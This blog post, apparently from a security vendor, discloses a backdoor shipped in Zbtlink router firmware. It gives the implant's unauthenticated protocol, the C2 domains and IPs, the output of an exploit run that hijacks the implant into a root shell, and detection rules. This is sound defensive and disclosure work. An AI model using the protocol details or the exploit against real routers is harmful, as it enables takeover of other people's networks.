Go back

ENDLESSDOORS Is Phoning Home. Pick Up.

Jacob Baines

Jacob Baines

@Junior_Baines

On my desk in suburban Philadelphia, an AX3000 Dual SIM 5G CPE WiFi 6 is plugged into an isolated research network. Its status lights blink and twinkle as it continuously attempts to reach a command and control server on the internet. The same plays out in homes, offices, and even vehicles across the globe: Zbtlink routers phone home, waiting for orders. Not because they were hacked. Because they were shipped that way.

The router on my desk is made by Zbtlink, a brand of Shenzhen Zhibotong Electronics, a Chinese manufacturer that builds routers and white-labels them for sale around the world. The same device shows up on Amazon under both the Zbtlink and Wiflyer brand names, and in Shopify stores like zbtwifi.com and zbtlink.com. We bought our Zbtlink AX3000 (model Z8102AX-2DSIM, also sold as the Z8102AX) off of Alibaba.

The implant is easy to find once you know it’s there.

root@OpenWrt:~# ps
  PID USER       VSZ STAT COMMAND
    6 root         0 IW<  [kworker/0:0H-kb]
   17 root         0 IW<  [kworker/1:0H-kb]
  651 root         0 IW   [kworker/0:2-pm]
 6811 root       852 S    kworker
 6826 root      1132 S    kworker

A kworker is a Linux kernel thread, and it shows up in a process listing wrapped in brackets. The two unbracketed kworkers in the snippet above, from our AX3000, are not kernel threads. They are ordinary userland processes running as root, with real memory footprints, named to disappear into a crowd of legitimate ones. They are an implant, a phone-home trojan horse. Our zero-day research team named this ENDLESSDOORS.

ENDLESSDOORS, at its core, is a small tool called rctl (remote control linux). Uploaded to GitHub on January 14, 2015 and never touched again, this obscure repository implements a simple command and control client and server. The server listens on port 7000 for clients to connect. It can send the client individual shell commands or tell the client to spawn a reverse bash shell.

kworker on the AX3000 is a customized version of rctl, and it’s been configured to phone home to 47.107.224[.]89 and rbdg4nzqadui[.]wikaba[.]com.

root@OpenWrt:~# tcpdump -i any -n not port 22
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type LINUX_SLL (Linux cooked v1), capture size 262144 bytes
14:56:51.702295 IP 127.0.0.1.57637 > 127.0.0.1.53: 45414+ A? rbdg4nzqadui.wikaba.com. (41)
14:56:51.702415 IP6 ::1.57637 > ::1.53: 45414+ A? rbdg4nzqadui.wikaba.com. (41)

The entire attack is answering the phone

There is no handshake, no key exchange, no negotiation. When the implant reaches a server, it sends a fixed 39-byte hello: a 33-byte class label padded with nulls, then its LAN MAC address. That's the whole registration. There is no client or server verification.

After that, anything the server sends is handed to popen() and executed as uid 0. There is no allow-list and no sandbox. One reserved string, rctlbash, tells the implant to open a second connection to port 7001, allocate a pseudo-terminal, spawn /bin/sh, and bridge it. That is a live interactive root shell.

The vocabulary of this protocol is two phrases: run this as root, and give me a root shell.
Anyone along the network path can hijack the client/server communication. Anyone who controls the resolution of rbdg4nzqadui[.]wikaba[.]com, or the address it resolves to, can control any ENDLESSDOORS implant that tries to phone home.

Because the device dials out, none of this requires the router to be reachable from the internet. There's no listening port to find and no inbound rule to punch through. The connection originates inside the network and traverses NAT and typical egress filtering the way any outbound TCP session does. A unit sitting behind three layers of firewall in a hotel back office is exactly as reachable as one with a public IP, provided it can get to the C2.

That isn’t theoretical either. We translated the rctl server protocol into a go-exploit and hijacked the outbound rctl communications from our AX3000 client. After the AX3000 announced itself, we told it to give us an interactive shell. And it did.

./build/endlessdoors_linux-arm64 -e -rctlport 7000 -c2 SSLShellServer -lport 4444
time=2026-07-20T17:39:46.362Z level=STATUS msg="Certificate not provided. Generating a TLS Certificate"
time=2026-07-20T17:39:46.452Z level=STATUS msg="Starting TLS listener on 192.168.1.100:4444"
time=2026-07-20T17:39:46.452Z level=STATUS msg="Starting target" index=0 host=192.168.1.1 port=80 ssl=false "ssl auto"=false
time=2026-07-20T17:39:46.452Z level=STATUS msg="rctl C2 listening on 192.168.1.100:7000; waiting up to 30s for the implant to phone home"
time=2026-07-20T17:39:48.361Z level=SUCCESS msg="Implant connected from 192.168.1.1:53028"
time=2026-07-20T17:39:48.361Z level=SUCCESS msg="Registration: class=\"_25.0527_174431\" mac=f8:5e:3c:97:d2:58"
time=2026-07-20T17:39:48.361Z level=STATUS msg="Delivering the payload as root through the implant's popen command channel"
time=2026-07-20T17:39:48.362Z level=SUCCESS msg="Payload delivered as root; awaiting the C2 callback"
time=2026-07-20T17:39:48.362Z level=SUCCESS msg="Exploit successfully completed" exploited=true
time=2026-07-20T17:39:48.367Z level=SUCCESS msg="Caught new shell from 192.168.1.1:53296"
time=2026-07-20T17:39:48.367Z level=STATUS msg="Active shell from 192.168.1.1:53296"


sh: can't access tty; job control turned off
BusyBox v1.33.2 (2024-05-16 08:34:26 UTC) built-in shell (ash)

/tmp # id
uid=0(root) gid=0(root) groups=0(root)

That is the whole attack. Be the thing the router is already looking for and take over. We’ve assigned this CVE-2026-66747.

It isn't one model

Every firmware on zbtlink.com’s download page, roughly two dozen images, embeds the rctl implant and starts it at boot with an init.d script named skworker. All of them phone home. All of them are hijackable the same way.
Affected models:

CPE2801, WE1026-5G-WD, WE1326, WE2007, WE2008-DSIM, WE2416, WE3326, WE5927, WE5931, WE5931AC, WE826-T3-DSIM, WG108, WG1602, WG1608-DSIM, WG209, WG2105, WG2107, WG259, WG3526, Z8102AX-2DSIM

Match on the model number, not the logo on the case. Zbtlink openly sells OEM and ODM services. They will build and rebrand this same hardware and firmware for anyone who wants to put their own name on it. A "Wiflyer WG3526" is the same affected device as its ZBT-labelled twin. The true affected population might be larger than the twenty models we examined, but we have no way to enumerate the rest.

Every affected router dials the same tiny set of endpoints. Across all twenty models it reduces to four primary and secondary endpoints:

RoleEndpointResolves toHosting
Primaryzbtctl.epplink[.]net47.100.190[.]96Alibaba Cloud, Shanghai
Primaryhardcoded IP47.107.224[.]89Alibaba Cloud, Shenzhen
Secondaryonline-string.com45.32.81[.]152Vultr
Secondaryrbdg4nzqadui[.]wikaba[.]com43.248.136[.]125Jiangsu Dongyun Cloud

Interestingly, our AX3000 is a bit of an odd duck. It phones home to wikaba.com (a DDNS service, sort of ideal for non-attribution). All but two other models dial the far more damning zbtctl.epplink[.]net endpoint which currently resolves to 47.100.190[.]96, hosted in Alibaba Cloud.

Coordinated disclosure exists to give a vendor time to fix a defect. It assumes the vendor did not intend the behavior. That assumption doesn't hold here. This isn't a memory corruption bug in a parser. It's a component in the vendor’s product, started at boot by the vendor's own init script, shipped across twenty models and years of images. There is no patch to coordinate. Telling the shipper that they shipped it buys the owners of these devices nothing, and buys whoever operates that infrastructure a warning.

So we're publishing, and we're publishing detection content alongside it so defenders can act today.

What to do about it

There is no fixed firmware. Treat this as a device-trust problem, not a patching problem.

  1. Inventory by model number, not brand. Check the twenty models listed above against your purchasing records, your hotel and branch office kit, your vehicle fleet, and anything a contractor installed. Look for Zbtlink, ZBT, ZBTWiFi, Wiflyer and for unbranded cellular CPE of unclear provenance.
  2. Check the process list. If possible, SSH in and run ps. An unbracketed kworker with a nonzero VSZ is the implant. There will be two of them.
  3. Check the filesystem. /usr/sbin/kworker, /usr/lib/librctl.so, /etc/kworker.cfg, /etc/init.d/skworker.
  4. Block and alert on the three endpoints at your egress and your resolver. Alert, don't just block. Suricata, Snort, and YARA rules are below.
  5. Watch for outbound 7000/7001, especially from network infrastructure segments.
  6. Segment or replace. You can disable the init script if you have shell access, but you are then trusting the rest of an image that shipped this in the first place. For anything carrying real traffic, our advice is to replace the device, or at minimum move it behind strict egress control and treat its LAN as untrusted.

The router on my desk is still plugged in, on a network that goes nowhere. Its lights are still blinking. It still calls out, patient, waiting for someone to pick up.

About VulnCheck

VulnCheck’s research team tracks real-world exploitation, attacker infrastructure, and exploit workflows using our Canary Intelligence, Exploit & Vulnerability Intelligence (EVI), and IP Intelligence datasets. For more research like this check out our blogs, Frost Checks First, The Mystery OAST Host Behind a Regionally Focused Exploit Operation, and XWiki Under Increased Attack.

Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, Target Intelligence, Canary Intelligence, and Exploit & Vulnerability Intelligence products.

Appendix

Firmware Image Hashes

The 21 firmware images below, published on Zbtlink's download page, were confirmed to contain ENDLESSDOORS. The hash is the SHA-256 of the kworker binary; identical hashes indicate the same build shipped across multiple images.

FirmwareHash
CPE2801_V22.10.09.binb3956cfbebf9c8d0b2c7a2ecbe59e71c31a5802f2084d25d93a984c0f811e2c7
WE1026-5G-WD_V21.04.07.binf961e4243e759453294340bc7d1b145016d70b97ab328caf47c64ea3cd818148
WE1326_V22.02.18_1.bin7791de11cd27cb596deff089904a6eab3a7e0aa391f867c2389582d5c78fef4c
WE2007_V23.08.12.bin6926f919da7f4447229f49842266d884369e1587df655149673e46f1d8787e47
WE2008-DSIM_V23.08.11.bin09ed9ad3ac886f5aaf8357127b6dd5926bd4af1e2cc687a6a4856bcaedee2667
WE2416_V21.03.22_1.bin76a17581bbde4c0550e8f4abfd903923aceeb50dc69dae4dd904628c273b90ee
WE2416_V21.03.22.bin76a17581bbde4c0550e8f4abfd903923aceeb50dc69dae4dd904628c273b90ee
WE3326_V20.09.30.binf5a94e536a1cac8552fb9c327c4bac6017e034786be98cc402a149cb51250d8f
WE826-T3-DSIM_V21.12.21.binb3e667235e9b41b8fc3594edaa64879750e7f75d7518fff7514d55837430411a
WG108_V21.08.06_1.bin37efadf0f4a110be0145139a43ebd032abb5b27b79b1eb2ab3578dcd31655a9e
WG1602_V23.10.11.binf019d03c2489b2bc486d71e355e07f8f2862dff078574a8662a5a45932e7e453
WG1608-DSIM_V23.03.16.bin73a0d95b8e23c7780cd91e978238c6db519665b05481fb228b4db9a9ec99c8ae
WG209_V21.07.28.binefc8a8ead69c63ecfffd883cfbe6bd131082aa13c0d3b324c00d79f4c149bd92
WG2105_V22.05.30.bin1545169fa8a3ae182d8e39aca8ec6cb6849b864e38646f29017232813e397e77
WG259_V21.03.23.binb4fda77e082fbf961db02273999e92e715e1824140ea92b2ab30163338b6622b
WG3526_V22.11.01.bin2d558bc9a6c7e7480e946f1c0524a651554887a1c563d7633f1903d06ff493fb
Z8102AX-2DSIM-..._174431.bindcdaa1fe80707b8d8fde8ad36c3e62a53623aff09bf5ccc544d4c1a1a54208b8
ZBT-WE5927_V22.08.10.bin4f5d8319b4bad5d9243496c1358fda4783ea9a0865c32881b3f57ecedb879570
ZBT-WE5931AC_V22.05.31.bindee3908280b91cb7ad60c69c1d34c599ceed7c8c66c025851e5831482815b271
ZBT-WE5931_V22.05.31.bin47d8ffb3a9a3fe0337e3c1e355fab4847dd61952fbe9aad98aadede489ca31fd
ZBT-WG2107_V22.09.08.bin71b20ebff0630b33c96bef320adc75901b34f1fd2cc9af974cf93ff37d102ec8

kworker Hashes

Below is the SHA-256 of the images embedded kworker binary.

Modelkworker Hash
CPE2801_V22.10.09.bindc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731
WE1026-5G-WD_V21.04.07.bin33f8c0532100eeb10213d167e5eb483394a7e43bf6d276441a1573360622011a
WE1326_V22.02.18_1.bin00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497
WE2007_V23.08.12.bine85104fce4061d52d47f4528df9aaf656edc49f05c0f026c5bc6b65d57eb7f22
WE2008-DSIM_V23.08.11.bine85104fce4061d52d47f4528df9aaf656edc49f05c0f026c5bc6b65d57eb7f22
WE2416_V21.03.22_1.binab8467e1495479693f4de8e838a5aeb61a65f3682d68f5b2d7c856cbfc91a247
WE2416_V21.03.22.binab8467e1495479693f4de8e838a5aeb61a65f3682d68f5b2d7c856cbfc91a247
WE3326_V20.09.30.bindc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731
WE826-T3-DSIM_V21.12.21.bindc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731
WG108_V21.08.06_1.bin00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497
WG1602_V23.10.11.bin00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497
WG1608-DSIM_V23.03.16.bin00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497
WG209_V21.07.28.bin00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497
WG2105_V22.05.30.bin00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497
WG259_V21.03.23.bin00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497
WG3526_V22.11.01.bin00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497
Z8102AX-2DSIM-..._174431.bin31ee58a134b766f6ed4424a22cc2cb08cfabbc9a5f35e0ae11a250c81ccc7f5e
ZBT-WE5927_V22.08.10.bindc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731
ZBT-WE5931AC_V22.05.31.bindc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731
ZBT-WE5931_V22.05.31.bindc1f4056af20677bdc7294ae4707f0c7bdfc85d8b57db212b622b9dc09c92731
ZBT-WG2107_V22.09.08.bin00a1228648fffa7338076970037b89f679a166a08c4d9573f1f27973ec6ed497

Network Indicators

Network indicators associated with ENDLESSDOORS.

zbtctl.epplink[.]net
online-string[.]com
rbdg4nzqadui.wikaba[.]com
47.100.190[.]96
47.107.224[.]89
45.32.81[.]152
43.248.136[.]125

Suricata Rules

alert tcp any any -> any 7000 ( \
    msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant Check-in"; \
    flow:established,to_server; \
    dsize:39; \
    pcre:"/^[A-Z0-9._-]{2,32}\x00{1,31}[\x00-\xff]{6}$/s"; \
    reference:url,https://github.com/ycsunjane/rctl; \
    classtype:trojan-activity; \
    sid:12800002; rev:1; \
    metadata: deployment Datacenter, impact compromised;)

alert tcp any 7000 -> any any ( \
    msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant Interactive Root Shell Request (rctlbash)"; \
    flow:established,to_client; \
    dsize:12; \
    content:"|00 00 00 08|rctlbash"; depth:12; \
    reference:url,https://github.com/ycsunjane/rctl; \
    classtype:trojan-activity; \
    sid:12800003; rev:1; \
    metadata: deployment Datacenter, impact compromised;)

alert dns any any -> any any ( \
    msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (zbtctl.epplink.net)"; \
    dns.query; content:"zbtctl.epplink.net"; nocase; \
    pcre:"/(^|\.)zbtctl\.epplink\.net$/i"; \
    reference:url,https://github.com/ycsunjane/rctl; \
    classtype:trojan-activity; \
    sid:12800004; rev:1; \
    metadata: deployment Datacenter, impact compromised;)

alert dns any any -> any any ( \
    msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (online-string.com)"; \
    dns.query; content:"online-string.com"; nocase; \
    pcre:"/(^|\.)online-string\.com$/i"; \
    reference:url,https://github.com/ycsunjane/rctl; \
    classtype:trojan-activity; \
    sid:12800005; rev:1; \
    metadata: deployment Datacenter, impact compromised;)

alert dns any any -> any any ( \
    msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (rbdg4nzqadui.wikaba.com)"; \
    dns.query; content:"rbdg4nzqadui.wikaba.com"; nocase; \
    pcre:"/(^|\.)rbdg4nzqadui\.wikaba\.com$/i"; \
    reference:url,https://github.com/ycsunjane/rctl; \
    classtype:trojan-activity; \
    sid:12800006; rev:1; \
    metadata: deployment Datacenter, impact compromised;)

Snort 2.9 Rules

alert tcp any any -> any 7000 ( \
    msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant Check-in"; \
    flow:established,to_server; \
    dsize:39; \
    pcre:"/^[A-Z0-9._-]{2,32}\x00{1,31}[\x00-\xff]{6}$/s"; \
    reference:url,https://github.com/ycsunjane/rctl; \
    classtype:trojan-activity; \
    sid:12800002; rev:1; \
    metadata: deployment Datacenter, impact compromised;)

alert tcp any 7000 -> any any ( \
    msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant Interactive Root Shell Request (rctlbash)"; \
    flow:established,to_client; \
    dsize:12; \
    content:"|00 00 00 08|rctlbash"; depth:12; \
    reference:url,https://github.com/ycsunjane/rctl; \
    classtype:trojan-activity; \
    sid:12800003; rev:1; \
    metadata: deployment Datacenter, impact compromised;)

alert udp any any -> any 53 ( \
    msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (zbtctl.epplink.net)"; \
    content:"|06|zbtctl|07|epplink|03|net|00|"; nocase; \
    reference:url,https://github.com/ycsunjane/rctl; \
    classtype:trojan-activity; \
    sid:12800004; rev:1; \
    metadata: deployment Datacenter, impact compromised;)

alert udp any any -> any 53 ( \
    msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (online-string.com)"; \
    content:"|0d|online-string|03|com|00|"; nocase; \
    reference:url,https://github.com/ycsunjane/rctl; \
    classtype:trojan-activity; \
    sid:12800005; rev:1; \
    metadata: deployment Datacenter, impact compromised;)

alert udp any any -> any 53 ( \
    msg:"VULNCHECK Zbtlink Router ENDLESSDOORS Implant C2 Domain Lookup (rbdg4nzqadui.wikaba.com)"; \
    content:"|0c|rbdg4nzqadui|06|wikaba|03|com|00|"; nocase; \
    reference:url,https://github.com/ycsunjane/rctl; \
    classtype:trojan-activity; \
    sid:12800006; rev:1; \
    metadata: deployment Datacenter, impact compromised;)

YARA Rule

The following rule matches the kworker and librctl.so binaries across every observed build, MIPS and aarch64:

rule Zbtlink_Router_ENDLESSDOORS_Implant
{
  meta:
    description = "Zbtlink Router ENDLESSDOORS implant (rctl/kworker): /usr/sbin/kworker and /usr/lib/librctl.so. Plaintext, unauthenticated root C2 with an rctlbash PTY reverse shell. Matches MIPS and aarch64 builds."
    reference = "https://github.com/ycsunjane/rctl"

  strings:
    $cfg   = "/etc/kworker.cfg" ascii
    $ca    = "/etc/ssl/certs/wirelesser_ca.crt" ascii
    $bash  = "rctlbash" ascii fullword
    $ok    = "exec success: %s" ascii
    $fail  = "exec fail: %s" ascii
    $bport = "bash listen port" ascii
    $super = "super ip" ascii
    $link  = "rctllink type is error" ascii

  condition:
    uint32(0) == 0x464C457F and 4 of them
}

Ready to get Started?

Explore VulnCheck, a next-generation Cyber Threat Intelligence platform, which provides exploit and vulnerability intelligence to help you prioritize and remediate vulnerabilities that matter.
  • Vulnerability Prioritization
    Prioritize vulnerabilities that matter based on the threat landscape and defer vulnerabilities that don't.
  • Early Warning System
    Real-time alerting of changes in the vulnerability landscape so that you can take action before the attacks start.